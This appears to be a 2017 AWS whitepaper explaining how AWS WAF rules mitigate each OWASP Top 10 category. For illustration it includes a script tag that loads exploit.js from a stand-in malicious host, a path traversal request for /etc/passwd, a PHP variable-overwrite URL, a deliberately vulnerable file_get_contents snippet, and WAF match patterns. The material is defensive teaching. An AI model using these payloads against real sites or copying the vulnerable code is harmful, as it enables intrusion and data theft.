AWS WAF OWASP

Use AWS WAF to Mitigate
OWASP’s Top 10 Web
Application Vulnerabilities
July 2017

© 2017, Amazon Web Services, Inc. or its affiliates. All rights reserved.
Notices
This document is provided for informational purposes only. It represents AWS’s
current product offerings and practices as of the date of issue of this document,
which are subject to change without notice. Customers are responsible for
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Contents
Introduction 1
Web Application Vulnerability Mitigation 2
A1 – Injection 3
A2 – Broken Authentication and Session Management 5
A3 – Cross-Site Scripting (XSS) 7
A4 – Broken Access Control 9
A5 – Security Misconfiguration 12
A6 – Sensitive Data Exposure 15
A7 – Insufficient Attack Protection 16
A8 – Cross-Site Request Forgery (CSRF) 19
A9 – Using Components with Known Vulnerabilities 21
A10 – Underprotected APIs 23
Old Top 2013 A10 – Unvalidated Redirects and Forwards 24
Companion CloudFormation Template 26
Conclusion 29
Contributors 30
Further Reading 30
Document Revisions 31

Abstract
AWS WAF is a web application firewall that helps you protect your websites and
web applications against various attack vectors at the HTTP protocol level. This
paper outlines how you can use the service to mitigate the application
vulnerabilities that are defined in the Open Web Application Security Project
(OWASP) Top 10 list of most common categories of application security flaws.
It’s targeted at anyone who’s tasked with protecting websites or applications,
and maintaining their security posture and availability.

Amazon Web Services – Use AWS WAF to Mitigate OWASP’s Top 10 Web Application
Vulnerabilities
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Introduction
The Open Web Application Security Project (OWASP) is an online community
that creates freely available articles, methodologies, documentation, tools, and
technologies in the field of web application security.1 They publish a ranking of
the 10 most-critical web application security flaws, which are known as the
OWASP Top 10.2 While the current version was published in 2013, a new 2017
Release Candidate version is currently available for public review.
The OWASP Top 10 represents a broad consensus of the most-critical web
application security flaws. It’s a widely accepted methodology for evaluating
web application security and build mitigation strategies for websites and web-
based applications. It outlines the top 10 areas where web applications are
susceptible to attacks, and where common vulnerabilities are found in such
workloads.
For any project aimed at enhancing the security profile of websites and web-
based applications, it’s a great idea to understand the OWASP Top 10 and how it
relates to your own workloads. This will help you implement effective mitigation
strategies.
AWS WAF is a web application firewall (WAF) you can use to help protect your
web applications from common web exploits that can affect application
availability, compromise security, or consume excessive resources.3 With AWS
WAF, you can allow or block requests to your web applications by defining
customizable web security rules. Also, you can use AWS WAF to create rules to
block common attack patterns, as well as specific attack patterns targeted at
your application.
AWS WAF works with Amazon CloudFront,4 our global content delivery
network (CDN) service, and the Application Load Balancer option for Elastic
Load Balancing.5 By using these together, you can analyze incoming HTTP
requests, apply a set of rules, and take actions based on the matching of those
rules.
AWS WAF can help you mitigate the OWASP Top 10 and other web application
security vulnerabilities because attempts to exploit them often have common

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detectable patterns in the HTTP requests. You can write rules to match the
patterns and block those requests from reaching your workloads.
However, it’s important to understand that using any web application firewall
doesn’t fix the underlying flaws in your web application. It just provides an
additional layer of defense, which reduces the risk of them being exploited. This
is especially useful in a modern development environment where software
evolves quickly.
Web Application Vulnerability Mitigation
In April 2017, OWASP released the new iteration of the Top 10 for public
comment. The categories listed in the new proposed Top 10 are many of the
same application flaw categories from the 2013 Top 10 and past versions:
A1 Injection
A2 Broken Authentication and Session Management
A3 Cross-Site Scripting (XSS)
A4 Broken Access Control (NEW)
A5 Security Misconfiguration
A6 Sensitive Data Exposure
A7 Insufficient Attack Protection (NEW)
A8 Cross-Site Request Forgery (CSRF)
A9 Using Components with Known Vulnerabilities
A10 Underprotected APIs (NEW)
The new A4 category consolidates the categories Insecure Direct Object
References and Missing Function Level Access Controls from the 2013 Top 10.
The previous A10 category Unvalidated Redirects and Forwards has been
replaced with a new category that focuses on Application Programming
Interface (API) security. In this paper, we discuss both old and new categories.
You can deploy AWS WAF to effectively mitigate a representative set of attack
vectors in many of the categories above. It can also be effective in other
categories. However, the effectiveness depends on the specific workload that’s
protected and the ability to derive recognizable HTTP request patterns. Given
that the attacks and exploits evolve constantly, it’s highly unlikely that any one
web application firewall can mitigate all possible scenarios of an attack that
targets flaws in any of these categories.

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This paper describes recommendations for each category that you can
implement easily to get started in mitigating application vulnerabilities. At the
end of the paper, you can download an example AWS CloudFormation template
that implements some of the generic mitigations discussed here. However, be
aware that the applicability of these rules to your particular web application can
vary.
A1 – Injection
Injection flaws occur when an application sends untrusted data to an
interpreter.6 Often, the interpreter has its own domain-specific language. By
using that language and inserting unsanitized data into requests to the
interpreter, an attacker can alter the intent of the requests and cause
unexpected actions.
Perhaps the most well-known and widespread injection flaws are SQL
injection flaws. These occur when input isn’t properly sanitized and escaped,
and the values are inserted in SQL statements directly. If the values themselves
contain SQL syntax statements, the database query engine executes those as
such. This triggers actions that weren’t originally intended, with potentially
dangerous consequences.
Credit: XKCD: Exploits of a Mom, published by permission.
Using AWS WAF to Mitigate
SQL injection attacks are relatively easy to detect in common scenarios. They’re
usually detected by identifying enough SQL reserved words in the HTTP request
components to signal a potentially valid SQL query. However, more complex
and dangerous variants can spread the malicious query (and associated key
words) over multiple input parameter or request components, based on the

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internal knowledge of how the application composes them in the backend.
These can be more difficult to mitigate using a WAF alone—you might need to
address them at the application level.
AWS WAF has built-in capabilities to match and mitigate SQL injection attacks.
You can use a SQL injection match condition to deploy rules to mitigate such
attacks.7 The following table provides some common condition configurations:
HTTP Request
Component to
Match
Relevant Input
Transformations to
Apply
Justification
QUERY_STRING URL_DECODE,
HTML_ENTITY_DECODE
The most common component to match. Query
string parameters are frequently used in database
lookups.
URI URL_DECODE,
HTML_ENTITY_DECODE
If your application is using friendly, dirified, or clean
URLs, then parameters might appear as part of the
URL path segment—not the query string (they are
later rewritten server side). For example:
https://example.com/products/<product_id>/reviews/
BODY URL_DECODE,
HTML_ENTITY_DECODE
A common component to match if your application
accepts form input. AWS WAF only evaluates the
first 8 KB of the body content.
HEADER:
Cookie
URL_DECODE,
HTML_ENTITY_DECODE
A less common component to match. But, if your
application uses cookie-based parameters in
database lookups, consider matching on this
component as well.
HEADER:
Authorization
URL_DECODE,
HTML_ENTITY_DECODE
A less common component to match. But, if your
application uses the value of this header for
database validation, consider matching on this
component as well.
Additionally, consider any other components of custom request headers that
your application uses as parameters for database lookups. You might want to
match these components in your SQL injection match condition.
Other Considerations
Predictably, this detection pattern is less effective if your workload legitimately
allows users to compose and submit SQL queries in their requests. For those
cases, consider narrowly scoping an exception rule that bypasses the SQL
injection rule for specific URL patterns that are known to accept such input. You
can do that by using a SQL injection match condition, as described in the

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preceding table, while listing the URLs that are excluded from checking by using
a string match condition: 8
Rule - action: BLOCK
when request matches SQL Injection Match Condition
and request does not match String Match Condition for excluded
Uniform Resource Identifiers (URI)
You can also mitigate other types of injection vulnerabilities against other
domain-specific languages to varying degrees using string match conditions—by
matching against known key words, assuming they’re not also legitimate input
values.
A2 – Broken Authentication and Session
Management
Flaws in the implementation of authentication and session management
mechanisms for web applications can lead to exposure of unwanted data, stolen
credentials or sessions, and impersonation of legitimate users.9 These flaws are
difficult to mitigate using a WAF.
Broadly, attackers rely on vulnerabilities in the way client-server
communication is implemented. Or they target how session or authorization
tokens are generated, stored, transferred, reused, timed-out, or invalidated by
your application to obtain these credentials. After they obtain credentials,
attackers impersonate legitimate users and make requests to your web
applications using those tokens.
For example, if an attacker obtains the JWT token that authorizes
communication between your web client and the RESTful API, they can
impersonate that user until the token expires by launching HTTP requests with
the illicitly obtained authorization token. 10
Because illicit requests with stolen authorization credentials, sessions, or tokens
are hard to distinguish from legitimate ones, AWS WAF takes on a reactive role.

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After your own application security controls are able to detect that a token was
stolen, you can add that token to a blacklist AWS WAF rule. This rule blocks
further requests with those signatures, either permanently or until they expire.
You can also automate this reaction to reduce mitigation time. AWS WAF offers
an API to interact with the service.11 For this kind of solution, you would use
infrastructure-specific or application-specific monitoring and logging tools to
look for patterns of compromise. Automation of AWS WAF rules is discussed in
greater detail under A7 – Insufficient Attack Protection.
To build a blacklist, use a string match condition. The following table
provides some example patterns:
HTTP Request
Component to
Match
Relevant Input
Transformations to
Apply
Relevant
Positional
Constraints
Values to Match Against
QUERY_STRING Avoid exposing session tokens in the URI or QUERY_STRING because they’re
visible in the browser address bar or server logs and are easy to capture.
URI
HEADER:
Cookie
URL_DECODE,
HTML_ENTITY_DECODE
CONTAINS Session ID or access tokens.
HEADER:
Authorization
URL_DECODE,
HTML_ENTITY_DECODE
CONTAINS JWT token or other bearer
authorization tokens.
You can use various mechanisms to help detect leaked or misused session
tokens or authorization tokens. One mechanism is to keep track of client devices
and the location where a user commonly accesses your application from. This
gives you the ability to quickly detect if requests are made from an entirely
different location or client device with the same tokens, and blacklist them for
safety.
AWS WAF also supports rate-based rules. Rate-based rules trigger and block
when the rate of requests from an IP address exceeds a customer-defined
threshold (requests per 5-min interval). You can combine these rules with other
predicates (conditions) that are available in AWS WAF. You can enforce rate-
based limits to protect your applications’ authentication or authorization URLs
and endpoints against brute-force attack attempts to guess credentials. You can
also use a string match condition to match authentication URI paths of the
application:

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HTTP Request
Component to
Match
Relevant Input
Transformations to
Apply
Relevant
Positional
Constraints
URI URL_DECODE,
HTML_ENTITY_DECODE
STARTS_WITH /login (or relevant application-
specific URLs)
This condition is then used inside a rate-based rule with the desired threshold
for requests originating from a given IP address:
Rule - action: BLOCK; rate limit: 2000; rate key: IP
Only requests that match the string match condition are counted. When that
count exceeds 2000 requests per 5-minute interval, the originating IP address is
blocked. The minimum rate limit over a 5-minute you can set is 2000 requests.
A3 – Cross-Site Scripting (XSS)
Cross-site scripting (XSS) flaws occur when web applications include user-
provided data in webpages that is sent to the browser without proper
sanitization.12 If the data isn’t properly validated or escaped, an attacker can use
those vectors to embed scripts, inline frames, or other objects into the rendered
page (reflection). These in turn can be used for a variety of malicious purposes,
including stealing user credentials by using key loggers, in order to install
system malware. The impact of the attack is magnified if that user data persists
server side in a data store and then delivered to a large set of other users.
Consider the example of a common, but popular, blog that accepts user
comments. If user comments aren’t correctly sanitized, a malicious user can
embed a malicious script in the comments, such as:
<script src=”https://malicious-site.com/exploit.js”
type=”text/javascript” />
The code then gets executed anytime a legitimate user loads that blog article.

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XSS attacks are relatively easy to mitigate in common scenarios because they
require specific key HTML tag names in the HTTP request.
AWS WAF has built-in capabilities to match and mitigate XSS attacks. You can
use a cross-site scripting match condition to deploy rules to mitigate these
attacks.13 The following table provides some common condition configurations:
HTTP Request
Component to Match
Relevant Input
Transformations to Apply
Justification
BODY URL_DECODE,
HTML_ENTITY_DECODE
A very common component to match
if your application accepts form input.
AWS WAF only evaluates the first 8 KB
of the body content.
HTML_ENTITY_DECODE
Recommended if query string
parameters are reflected back into the
webpage. An example is the current
page number in a paginated list.
HEADER: Cookie URL_DECODE,
HTML_ENTITY_DECODE
Recommended if your application uses
cookie-based parameters that are
reflected back on the webpage. For
example, the name of the user who is
currently logged in is stored in a cookie
and embedded in the page header.
URI URL_DECODE,
HTML_ENTITY_DECODE
Less common. But, if your application
is using friendly, dirified URLs, then
parameters might appear as part of the
URL path segment, not the query string
(they are later rewritten server side).
There are similar concerns as with
query strings.
This detection pattern is less effective if your workload legitimately allows users
to compose and submit rich HTML, such as the editor of a content management
system (CMS).14 For those cases, consider narrowly scoping an exception rule
that bypasses the XSS rule for specific URL patterns that are known to accept
such input, as long as there are alternate mechanisms to protect those excluded
URLs.

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Additionally, some image or custom data formats and match condition
configurations can trigger elevated levels of false positives. Patterns that might
indicate XSS attacks in HTML content can be legitimate in certain image or
other data formats. For example, the SVG graphics format15 also allows a
<script> tag. You should narrowly tailor XSS rules to the type of request
content that’s expected if HTML requests include other data formats.
A4 – Broken Access Control
This category of application flaws, new in the proposed 2017 Top 10, covers lack
of or improper enforcement of restrictions on what authenticated users are
allowed to do. It consolidates the following categories from the 2013 Top 10: A4
– Insecure Direct Object References and A7 – Missing Function Level Access
Controls.
Application flaws in this category allow internal web application objects to be
manipulated without the requestor’s access permissions being properly
validated.16 Depending on the specific workload, this can lead to exposure of
unauthorized data, manipulation of internal web application state, path
traversal, and file inclusion.
Your applications should properly check and restrict access to individual
modules, components, or functions in accordance with the authorization and
authentication scheme used by the application. Flaws in function-level access
controls occur most commonly in applications where access controls weren’t
initially designed into the system, but were added later.17
These flaws also occur in applications that take a perimeter security approach to
access validation. In these cases, access level can be validated once at the
request initialization level. However, checks aren’t done further in the execution
cycle as various subroutines are invoked. This creates an implicit trust that the
caller code can invoke other modules, components, or functions on behalf of the
authorized user—which might not always hold true.
If your web application exposes different components to different users based
on access level or subscription level, then you should have authorization checks
performed anytime those functions are invoked.
Consider the following examples of flawed implementations for illustration:

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1. A web application that allows authenticated users to edit their profile
generates a link to the profile editor page upon successful
authentication:
https://example.com/edit/profile?user_id=3324
The profile editor page, however, doesn’t specifically check that the
parameter matches the current user. This allows any user who’s logged
in to find information about any other user by simply iterating over the
pool of user IDs. This exposes unauthorized information:
https://example.com/edit/profile?user_id=3325
2. Another example is a helper server-side script that displays or allows a
download of files for a document sharing site. It accepts the file name as
a query string parameter:
https://example.com/download.php?file=mydocument.pdf
Somewhere in the script code, it passes the parameter to an internal file
reading function:
$content =
file_get_contents(”/documents/path/{$_GET[file]}”);
With no validation or sanitization and a vulnerable server configuration,
the file parameter can be exploited to have the server read and reflect
any file. For example:
https://example.com/download.php?file=
..%2F..%2Fetc%2Fpasswd
This is an example of both a directory traversal attack18 and a local
file inclusion attack.19
3. Consider a modular web application, which is a pattern popular with
content management systems to enable extensibility, as well as
applications using model-view-controller (MVC) frameworks. The entry
point into the application is usually a router that invokes the right

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controller, based on the request parameters after processing common
routines (such as authentication/authorization):
https://example.com/?module=myprofile&view=display
A legitimate, authenticated user invoking the URL above should be able
to see their own profile. A malicious user might authenticate and view
their profile as well. However, they could attempt to alter the request
URL and invoke an administrative module:
https://example.com/?module=usermanagement&view=display
If that particular module doesn’t perform additional checks
commensurate with the elevated privileges needed for administrators, it
enables an attacker to gain access to unintended parts of the system.
You can use AWS WAF to mitigate certain attack vectors in this category of
vulnerabilities. Mitigating permission validation flaws is difficult using any
WAF. This is because the criteria that differentiate good requests from bad
requests are found in the context of the user (requestor) session and privileges,
and rarely in the representation of the HTTP request itself. However, if
malicious HTTP requests have a recognizable signature that legitimate requests
don’t have, you can write rules to match them.
Also, you can use AWS WAF to filter dangerous HTTP request patterns that can
indicate path traversal attempts, or remote and local file inclusion (RFI/LFI).
The table below illustrates a few such generic conditions:
HTTP Request
Component to
Match
Relevant Input
Transformations to
Apply
Relevant
Positional
Constraints
HTML_ENTITY_DECODE
CONTAINS ../, ://
URI URL_DECODE,
HTML_ENTITY_DECODE
CONTAINS ../, ://

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Also consider any other components of the HTTP request that your application
uses to assemble or refer to file system paths. As with the patterns suggested in
the previously discussed categories, these might be less effective if your
application legitimately accepts URLs or complex file system paths.
If access to administrative modules, components, plugins, or functions is
limited to a known set of privileged users, you can limit access to those
functions by having them accessed from known source locations, a whitelisting
pattern:
If the authorization claims are transmitted from the client as part of the HTTP
request and encapsulated using JWT tokens (or something similar), you can
evaluate and compare them to the requested modules, plugins, components, or
functions. Consider using AWS Lambda@Edge functions to prevalidate the
HTTP requests and ensure that the relevant request parameters match the
assertions and authorizations in the token.20 You can use Lambda@Edge to
reject nonconforming requests before they reach your backend servers.
A5 – Security Misconfiguration
Misconfiguration of server parameters, especially ones that have a security
impact, can happen at any level of your application stack.21 This can apply to the
operating system, middleware, platform services, web server software,
application code, or database layers of your application. Default configurations

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that ship with these components might not always follow security
recommendations or be fit for every workload.
A few examples of security misconfigurations are:
1. Leaving the Apache web server ServerTokens Full (default)
configuration in a production system. This exposes the exact versions of
the web server and associated modules in any server-generated
responses. Attackers can use this information to identify known
vulnerabilities in your server software.
2. Leaving default directory listings enabled on production web servers.
This allows malicious users to browse for files that are hosted by the web
server.
3. Application server configurations that return stack traces to end users
on production systems in response to errors. Attackers can potentially
discover the software components that are used. They might be capable
of reverse engineering your code and potentially discovering flaws.
4. A previous feature in PHP. Several years ago, the default configuration
for PHP allowed the registration of any request parameter (query string,
cookie-based, POST-based) as a global variable. Since then, this feature
has been deprecated and removed altogether. Coupled with a vulnerable
version of PHP, it allowed for overwriting internal server variables via
HTTP requests:
http://example.com/?_SERVER[DOCUMENT_ROOT]=http://bad.co
m/bad.htm
In a vulnerable application, this embeds a malicious site address in the
site that users visit.
You can use AWS WAF to mitigate attempts to exploit server misconfigurations
in a variety of ways, as long as the HTTP request patterns that attempt to exploit
them are recognizable. These patterns, however, are also application-stack
specific. They depend on the operating system, web server, frameworks, or
languages your code leverages. Generic rules that might not apply to your
specific stack can be useful to you for nuisance protection because they block

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requests that would otherwise be invalid, so your backend servers don’t have to
process them.
Here are a few strategies you can use:
 You should block access to the paths to administrative consoles,
configuration, or status pages that are installed or enabled by default.
Alternatively, you should restrict access to trusted source IP addresses, if
they’re in use. You should do this regardless of whether you specifically
disabled or removed them (future actions might reactivate or reinstall
them).
 Protect against known attack patterns that are specific to your platform,
especially if you have legacy applications that rely on old platform
behavior. For example, if you’re using PHP, you might choose to block
requests with a query string that contains “_SERVER[“.
A whitelisting rule pattern, similar to the one discussed previously for the
Broken Access Control category, can help with whitelisting specific subservices,
such as the administrative console of a WordPress site.
Also consider deploying Amazon Inspector to verify your software
configurations.22 It’s an automated security assessment service that helps
improve the security and compliance of applications that are deployed on AWS.
Amazon Inspector automatically assesses applications for vulnerabilities or
deviations from best practices.
To help you get started quickly, Amazon Inspector includes a knowledge base of
hundreds of rules that are mapped to common security best practices and
vulnerability definitions. Examples of built-in rules include checking for the
enablement of the remote root login or the installation of vulnerable software
versions. These rules are regularly updated by AWS security researchers.
In addition to detective controls, you can provide the best protection against
attacks in this category by implementing and maintaining secure configurations.
Configuration guidelines, such as the CIS Benchmarks23, can help you deploy
secure configurations. You can use services such as AWS Config24 and Amazon

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EC2 Systems Manager25 to help you track and manage configuration changes
over time.
A6 – Sensitive Data Exposure
Sensitive data exposure application flaws are typically harder to mitigate using
web application firewalls.26 These flaws commonly involve encryption processes
that have been deficiently implemented. Some examples are the lack of
encryption on transported or stored sensitive data, or using vulnerable legacy
encryption ciphers,27 where malicious parties can intercept and decode your
data.
Less commonly, there can be flaws in application or protocol implementations,
or client browsers, which can also lead to the exposure of sensitive data.
Exploits that ultimately lead to sensitive data exposure can span multiple
OWASP categories. A security misconfiguration that allows for the use of weak
cryptographic algorithms leads to encryption downgrades and, ultimately, to an
attacker being able to capture the data stream to decode sensitive data.
Because the HTTP request is evaluated by AWS WAF after the incoming data
stream has been decrypted, its rules have no impact on enforcing good
encryption hygiene at the connection level.
Less commonly, if HTTP requests that can lead to sensitive data exposure have
detectable patterns, you can mitigate them by using string match conditions
that target those patterns. However, these patterns are application specific and
require more in-depth knowledge of those applications.
For example, if your application relies heavily on the SHA-1 hashing
algorithm,28 malicious users might attempt to cause a hash collision using a pair
of specially crafted PDF documents.29 If your application allows uploads, it
would be beneficial to set up a rule that blocks requests that contain portions of
the base64-encoded representation of those files in the body.
When you attempt to block uploaded file signatures using AWS WAF, take into
account the limits the service imposes on such rules. Uploaded data is base64

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encoded. Therefore, your string match condition values have to be in base64
representation.
WAF searches the first 8 KB of the HTTP request body, or less if the multi-part
encoding of the request body contains other field parameters that precede the
file data itself. The relevant signature of the matched pattern can be up to 50
bytes in size. Most standardized file formats also have uniform preambles, so
the first several bytes of the file are common to all files of that format. This
forces you to derive the relevant signature from data further in the file.
You can use other services in the AWS ecosystem to provide control over the
encryption protocols and ciphers that are used at the connection level:
 For Elastic Load Balancing Classic Load Balancers,30 you can select
predefined or customized security policies.31 These policies specify the
protocols and ciphers that the load balancers can use to negotiate secure
connections with clients.
 For Elastic Load Balancing Application Load Balancers,32 you can select
from a set of predefined security policies.33 As with the Classic Load
Balancers, these policies specify the allowed protocols and ciphers.
 For Amazon CloudFront,34 our content delivery network (CDN) service,
you can configure the minimum SSL protocol version you want to
support,35 as well as the SSL protocols you want CloudFront to use when
it connects to your custom origins.
A7 – Insufficient Attack Protection
This category has been proposed for the new 2017 Top 10, and it reflects the
reality that attack patterns can change quickly. Malicious actors are able to
adapt their toolsets quickly to exploit new vulnerabilities and launch large-scale
automated attacks to detect vulnerable systems. This category focuses strongly
on your ability to react in a timely manner to new attack vectors and abnormal
request patterns, or to application flaws that are discovered.
A broad range of attack vectors fall into this category, with many overlapping
other categories. To better understand them, ask yourself the following
questions:

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 Can you enforce a certain level of hygiene at the request level? Are there
HTTP request components that your application expects to exist, or can’t
operate without?
 Are you able to detect and recognize when your application is targeted
with unusual request patterns or high volume? Do you have systems in
place that can do that detection in an automated fashion? Are these
systems capable of reacting to and blocking such unwanted traffic?
 Are you able to detect when a malicious actor launches a directed,
targeted attack against your application, trying to find and exploit flaws
in your application? Is this capability automated, so that you can react in
near-real time?
 How fast can you deploy a patch to a discovered application flaw or
vulnerability in your application stack and mitigate attacks against it?
Do you have mechanisms in place to detect the effectiveness of the patch
after deployment?
You can use AWS WAF to enforce a level of hygiene for inbound HTTP requests.
Size constraint conditions36 help you build rules that ensure that
components of HTTP requests fall within specifically defined ranges. You can
use them to avoid processing abnormal requests. An example is to limit the size
of URIs or query strings to values that make sense to the application. Also, you
can use them to require the presence of specific headers, such as an API key for
a RESTful API.
HTTP Request
Component to Match
Relevant Input
Transformations
to Apply
Comparison
Operator
Size
URI NONE GT (greater than) Maximum expected URI path size
in bytes
QUERY_STRING NONE GT Maximum expected size of the
query string in bytes
BODY NONE GT Maximum expected request body
size in bytes
HEADER:x-api-key NONE LT (less than) 1 (or actual size of the API key)
HEADER:cookie NONE GT Maximum expected cookie size in
bytes

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You can use the example conditions described in this section with a blacklisting
rule to reject requests that don’t conform to the limits.
For detecting abnormal request patterns, you can use AWS WAF’s rate-based
rules that trigger when the rate of requests from an IP address exceeds your
defined threshold (requests per 5-min interval). You can combine these rules
with other predicates (conditions) that are available in AWS WAF.
For example, you can combine a rate-based rule with a string match rule to only
count requests with a particular user-agent (say user-agent=”abc”). This rule
combination makes sure that only requests with user-agent=”abc” are counted
towards the determination of the rate violation by that IP address.
A key advantage of AWS WAF is its programmability. You can configure and
modify AWS WAF web access control lists (ACLs), rules, and conditions by
using a programmatic API at any time. Any changes normally take effect within
a minute, even for our global service that’s integrated with Amazon CloudFront.
Using the API, you can build automated processes that are able to react to
application-specific abnormal conditions and take actions to block suspicious
sources of traffic or notify operators for further investigation. These
automations can operate in real-time, invoked via trap or honeypot URL paths.
They can also be reactive, based on the analysis and correlation of application
log files and request patterns.
As mentioned earlier, AWS provides a set of capabilities called the AWS WAF
Security Automations.37 These tools build upon the patterns highlighted
previously. They use several other AWS services, most notably AWS Lambda for
event-driven computing, and provide the following capabilities:38
 Scanner and probe mitigation. Malicious sources scan and probe
internet-facing web applications for vulnerabilities. They send a series of
requests that generate HTTP 4xx error codes. You can use this history to
help identify and block IP addresses from malicious sources. This
solution creates an AWS Lambda function that automatically parses
access logs, counts the number of bad requests from unique source IP
addresses, and updates AWS WAF to block further scans from those
addresses.

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 Known attacker origin mitigation. A number of organizations
maintain reputation lists of IP addresses that are operated by known
attackers, such as spammers, malware distributors, and botnets. This
solution leverages the information in these reputation lists to help you
block requests from malicious IP addresses.
 Bots and scraper mitigation. Operators of publicly accessible web
applications have to trust that the clients accessing their content identify
themselves accurately, and that they will use services as they’re intended.
However, some automated clients, such as content scrapers or bad bots,
misrepresent themselves to bypass restrictions.
This solution implements a honeypot that helps you identify and block
bad bots and scrapers. In this solution, the honeypot URL is listed in the
‘disallow’ section of the robots.txt file.39 Any IP that accesses this URL is,
therefore, deemed malicious or noncompliant and is blacklisted.
Additionally, there are ways you might be able to use AWS WAF to mitigate
newly discovered application flaws or vulnerabilities in your stack. They are
discussed in greater detail later (see A9 – Using Components with Known
Vulnerabilities).
A8 – Cross-Site Request Forgery (CSRF)
Cross-site request forgery attacks predominantly target state-changing
functions in your web applications.40 Consider any URL path and HTTP request
that is intended to cause a state change (for example, form submission
requests). Are there any mechanisms in place to ensure the user intended to
take that action? Without such mechanisms, there isn’t an effective way to
determine whether the request is legitimate and wasn’t forged by a malicious
party. Depending solely on client-side attributes, such as session tokens or
source IP addresses, isn’t an effective strategy because malicious actors can
manipulate and replicate these values.
CSRF attacks take advantage of the fact that all details of a particular action are
predictable (form fields, query string parameters). Attacks are carried out in a
way that takes advantage of other vulnerabilities, such as cross-site scripting or
file inclusion—so users aren’t aware that the malicious action is triggered using
their credentials and active session.

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You can mitigate CSRF attacks by doing the following:
 Including unpredictable tokens in the HTTP request that triggers the
action.
 Prompting users to authenticate for sending action requests.
 Introducing CAPTCHA challenges for sending action requests.41
The first option is transparent to end users—forms can include unique tokens as
hidden form fields, custom headers, or, less desirably, query string parameters.
The latter two options can introduce extra friction for end users and are
generally only implemented for sensitive action requests. Additionally,
CAPTCHAs can be circumvented by motivated actors and value combinations
can also repeat.42 As such, they are a less desirable mitigation control for CSRF.
You can use AWS WAF to check for the presence of those unique tokens. For
example, if you decide to leverage a random universally unique identifier
(UUIDv4)43 as the CSRF token, and expect the value in a custom HTTP header
named x-csrf-token, you can implement a size constraint condition:
HTTP Request
Component to Match
Relevant Input
Transformations
to Apply
Comparison
Operator
Size
HEADER:x-csrf-token NONE EQ (equal to) 36
(bytes/ASCII characters, canonical
format)
You would build a blocking rule where requests do not match this condition
(negated). You can further narrow the scope of the rule by only matching POST
HTTP requests, for example. Build a rule using the negated condition above and
an additional string match condition for:
HTTP Request
Component to Match
Relevant Input
Transformations
to Apply
Relevant
Positional
Constraints
METHOD LOWERCASE EXACTLY post

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Page 21
Such rules are effective in filtering out CSRF attacks that circumvent your
unique tokens. However, they aren’t effective at validating if the request carries
invalid, wrong, stale, or stolen tokens. This is because HTTP request
introspection lacks access to your application context. Therefore, you need a
server-side mechanism in your application to track the expected token or and
ensure it’s used exactly once.
As an example, the server sends a simple form to the client browser along with
the embedded unique token as a hidden field. At the same time, it retains in the
current server-side session store the token value it expects the browser to
supply when the user submits the form. After the user submits the form, a POST
request is made to the server that includes the unique hidden token. The server
can safely discard any POST requests that don’t contain the expected value for
the supplied session. It should clear the value from the session store after it’s
used up, which ensures that the value doesn’t get reused.
A9 – Using Components with Known Vulnerabilities
Currently, most web applications are highly composed. They use frameworks
and libraries from a variety of sources, commercial or open source. One
challenge is keeping up to date with the most recent versions of these
components. This is further exacerbated when underlying libraries and
frameworks use other components themselves.
Using components with known vulnerabilities is one of the most prevalent
attack vectors.44 They can help open up the attack surface of your web
application to some of the other attack vectors discussed in this document. The
decision to use such components can be an active trade-off to maintain
compatibility with legacy code. Or, it’s possible to inadvertently use vulnerable
components if you’re using components that depend on vulnerable
subcomponents.
Mitigating vulnerabilities in such components is challenging because not all of
them are reported and tracked by central clearinghouses such as Common
Vulnerabilities and Exposures (CVE).45 This puts the responsibility on the
application developers to track the status of the components individually with
the respective vendor, author, or provider. Often, vulnerabilities are addressed

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in new versions of the components, including new enhancements, rather than
fixing existing versions. This adds to the amount of work that developers have to
perform to implement, test, and deploy the new versions of these components.
The primary mechanism to mitigate known vulnerabilities in components is to
have a comprehensive process in place that addresses the lifecycle of such
components. You should have a way to identify and track the dependencies of
your application and the dependencies of the underlying components. Also, you
should have a monitoring process in place to track the security of these
components.
Establish a software development process and policy that factors in the patch or
release frequency of underlying components and acceptable licensing models.
This can help you react quickly when component providers address
vulnerabilities in their code.
Additionally, you can use AWS WAF to filter and block HTTP requests to
functionality of such components that you aren’t using in your applications.
This helps reduce the attack surface of those components if vulnerabilities are
discovered in functionality you’re not using.
Does your application use server-side included components? These are usually
files that contain code that is loaded at runtime to assemble the HTTP response
directly or indirectly. Examples are Apache Server-side Includes46 or code that
loads via PHP include47 or require48 statements. Other languages and
frameworks have similar constructs.
It’s a best practice that these components aren’t deployed in the public web path
on your web server in the first place. However, sometimes this recommendation
is ignored for a variety of reasons. If these components are present in the public
web path, these files aren’t designed to be accessed directly. Nevertheless,
accessing them might expose internal application information or provide
vectors of attack.
Consider using a string match condition to block access to such URL
prefixes:

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Page 23
HTTP Request
Component to
Match
Relevant Input
Transformations to
Apply
Relevant
Positional
Constraints
URI URL_DECODE STARTS_WITH /includes/
(or relevant prefix in your application)
Similarly, if your application uses third-party components but uses only a
subset of the functionality, consider blocking exposed URL paths to
functionality in those components that you don’t use by using similar AWS WAF
conditions.
Penetration testing can also be an effective mechanism to discover
vulnerabilities.49 You can integrate it into your deployment and testing
processes to both detect potential vulnerabilities, as well as to ensure that
deployed patches correctly mitigate the targeted application flaws.
The AWS Marketplace50 offers a wide range of vulnerability testing solutions
from our partner vendors that are designed to help you get started easily and
quickly. Keep in mind that AWS requires customers to obtain permission51
before conducting such tests on resources that are hosted in AWS. However,
some of the solutions available in the AWS Marketplace have been
preauthorized, and you can skip the authorization step. They are marked as
such in the solution title.
A10 – Underprotected APIs
Another new category proposed for the 2017 Top 10, Underprotected APIs,
focuses on the target of potential attacks, rather than the specific application
flaw patterns that can be exploited. This category recognizes the prevalence and
anticipated future growth of APIs. Currently, entire applications are published
that don’t have a user-facing UI. Instead, they’re available as APIs that other
application publishers can use to build loosely coupled applications. Many
applications can have both user UIs and APIs, whether those APIs are intended
to be consumed by third parties or not.

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Page 24
The attack vectors are often the same as discussed in categories A1 through A9,
and are common with more traditional web applications that are end user
facing.
However, because APIs are designed for programmatic access, they do provide
some additional challenges around security testing. It’s easier to develop
security test cases for user-facing UIs that have simpler data structures and
more discrete, high-delay steps due to human interaction. In contrast, APIs are
often designed to work with more complex data structures and use a wider
range of request frequencies and input values. This is the case even if they’re
standardized and use well-known protocols, such as RESTful APIs52 or SOAP.53
Because the attack vectors for APIs are often the same as for traditional web
applications, the mitigation mechanisms discussed throughout this document
also apply to APIs in a similar manner. You can use AWS WAF in a variety of
ways to mitigate these different attack vectors.
